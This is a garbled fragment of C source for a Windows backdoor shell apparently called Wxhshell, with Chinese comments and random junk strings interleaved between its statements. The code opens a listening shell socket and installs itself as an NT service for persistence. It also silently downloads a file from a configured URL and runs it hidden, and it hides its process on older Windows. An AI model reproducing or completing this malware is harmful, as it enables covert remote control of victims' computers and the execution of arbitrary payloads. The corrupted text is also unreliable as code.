PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :s4p/*f if(hProcess==NULL) return 0; b#X^=n2 9=UkV\m) HMODULE hMod; ra
o[VZ char procName[255]; KQ~i<1&j unsigned long cbNeeded; utIX %0 dH-s2r%s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3g >B"t 78/Zk}I] CloseHandle(hProcess); M8tRjNWS? 0zi~p>*nJC if(strstr(procName,"services")) return 1; // 以服务启动 -?0qf,W. YGrg return 0; // 注册表启动 ({q?d[q[ } 0PWg;>^' 2o'Wy // 主模块 62Z#YQ}x int StartWxhshell(LPSTR lpCmdLine) !TUrQ { L|,!?cSAT SOCKET wsl; ( vca&wI! BOOL val=TRUE; C_7+a@?B int port=0; %T~ig[GstX struct sockaddr_in door; Qc pm!
~/P&Tub^ if(wscfg.ws_autoins) Install(); Iu <?&9t (Tbw3ENz port=atoi(lpCmdLine); O)jWZOVp > &sU?Ok6 if(port<=0) port=wscfg.ws_port; uB]b}"+l ](s'L8(x WSADATA data; +1D+]*t_?[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2n|K5FR() M#8uv-L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sashzVwJ-= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |g//g\dd door.sin_family = AF_INET; K|Di1)7=/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); hUF5fZqii door.sin_port = htons(port); v~^{{O aL&n[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0`[wpZ closesocket(wsl); j!7{|EQFcl return 1; lhBT@5Dm9 } cj1cZ- MZT23[+ if(listen(wsl,2) == INVALID_SOCKET) { 3 yB!M closesocket(wsl); *exS6@N] return 1; E/%9jDTQ } ; ShJi Wxhshell(wsl); CW,Wx: Y WSACleanup(); rv|)n>m %|^fi8!:| return 0; lp(8E6 AD|2qM)) } !lj| cT9 @*6 C=LL // 以NT服务方式启动 \Hn>oonph VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #g]vc_V { .%L?J E DWORD status = 0; {o.FlX DWORD specificError = 0xfffffff; pLLGus+W OHhsP}/ serviceStatus.dwServiceType = SERVICE_WIN32; 5nKj
)RH7M serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ndi9FD3im serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >kW@~WDMu serviceStatus.dwWin32ExitCode = 0; (adyZ/j serviceStatus.dwServiceSpecificExitCode = 0; LdL/399< serviceStatus.dwCheckPoint = 0; $3s@}vLd serviceStatus.dwWaitHint = 0; IX>d`O61*g <gQIq{B? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V 7Ek-2M if (hServiceStatusHandle==0) return; pUV/Ul] YLiSbLz1 status = GetLastError(); _s .G if (status!=NO_ERROR) @NNq z { 'a\%L:` serviceStatus.dwCurrentState = SERVICE_STOPPED; A m>cd; serviceStatus.dwCheckPoint = 0; f7X6fr< serviceStatus.dwWaitHint = 0; NbU [l serviceStatus.dwWin32ExitCode = status; Yd#/1!A7u serviceStatus.dwServiceSpecificExitCode = specificError; Y]B)'[=h SetServiceStatus(hServiceStatusHandle, &serviceStatus); ".<DAs j return; 2C9V|[U, } RM!<8fXYD 1ke g9] serviceStatus.dwCurrentState = SERVICE_RUNNING; B#.L serviceStatus.dwCheckPoint = 0; YTexv;VNb| serviceStatus.dwWaitHint = 0; mg$]QnbAnH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \ywXi~+kUv } K"4>DaK2P BA%pY|"Q // 处理NT服务事件,比如:启动、停止
]y1OFKYv VOID WINAPI NTServiceHandler(DWORD fdwControl) L>SjllY { 'i4_`^:+ switch(fdwControl) \\u<S=G { enSXP~9w case SERVICE_CONTROL_STOP: +gJ8{u!=k serviceStatus.dwWin32ExitCode = 0; LYaZ1* serviceStatus.dwCurrentState = SERVICE_STOPPED; t\%HX.8[;% serviceStatus.dwCheckPoint = 0; Ipq"E serviceStatus.dwWaitHint = 0; e= .njMqW5 { 2E)wpgUc?e SetServiceStatus(hServiceStatusHandle, &serviceStatus); jN6uT&{T } Fpa_qjL; return; n=c
2Kc case SERVICE_CONTROL_PAUSE: y6[If cN serviceStatus.dwCurrentState = SERVICE_PAUSED; !,Va(E|= break; ZRg;/sX] case SERVICE_CONTROL_CONTINUE: ak |WW]R serviceStatus.dwCurrentState = SERVICE_RUNNING; }DK7'K break; =W BTm case SERVICE_CONTROL_INTERROGATE: zY('t!u8 break; Z^IPZF }; 8$;=Uf,x SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZGYr$C~ } jkt_5+S w &(|e < // 标准应用程序主函数 S>]pRV9rT int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b7wvaRe. { _;UE9S% {yB&xj[z // 获取操作系统版本 #R.-KUW: OsIsNt=GetOsVer(); p%R GetModuleFileName(NULL,ExeFile,MAX_PATH); P%(O| =aoMii // 从命令行安装 s#tZg if(strpbrk(lpCmdLine,"iI")) Install(); &qr;IL7' +i2}/s@JJ // 下载执行文件 Ju
:CMkv if(wscfg.ws_downexe) { 8W#heW\-] if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7TDy.] WinExec(wscfg.ws_filenam,SW_HIDE); U2wbv Xr5- } =MLcm^b yRfSJbzaf\ if(!OsIsNt) { e^[H[d.WMC // 如果时win9x,隐藏进程并且设置为注册表启动 @p NNq HideProc(); HAJ 7m!P StartWxhshell(lpCmdLine); Wv/%^3 } fIwV\,s else tGl;@V@Qj if(StartFromService()) pD01,5/ // 以服务方式启动 hijgF@ StartServiceCtrlDispatcher(DispatchTable); 6N;wqn else n_(/JE> // 普通方式启动 K?zH35f$ StartWxhshell(lpCmdLine); y1bbILWej :9_L6 return 0; N0=ac5 }
|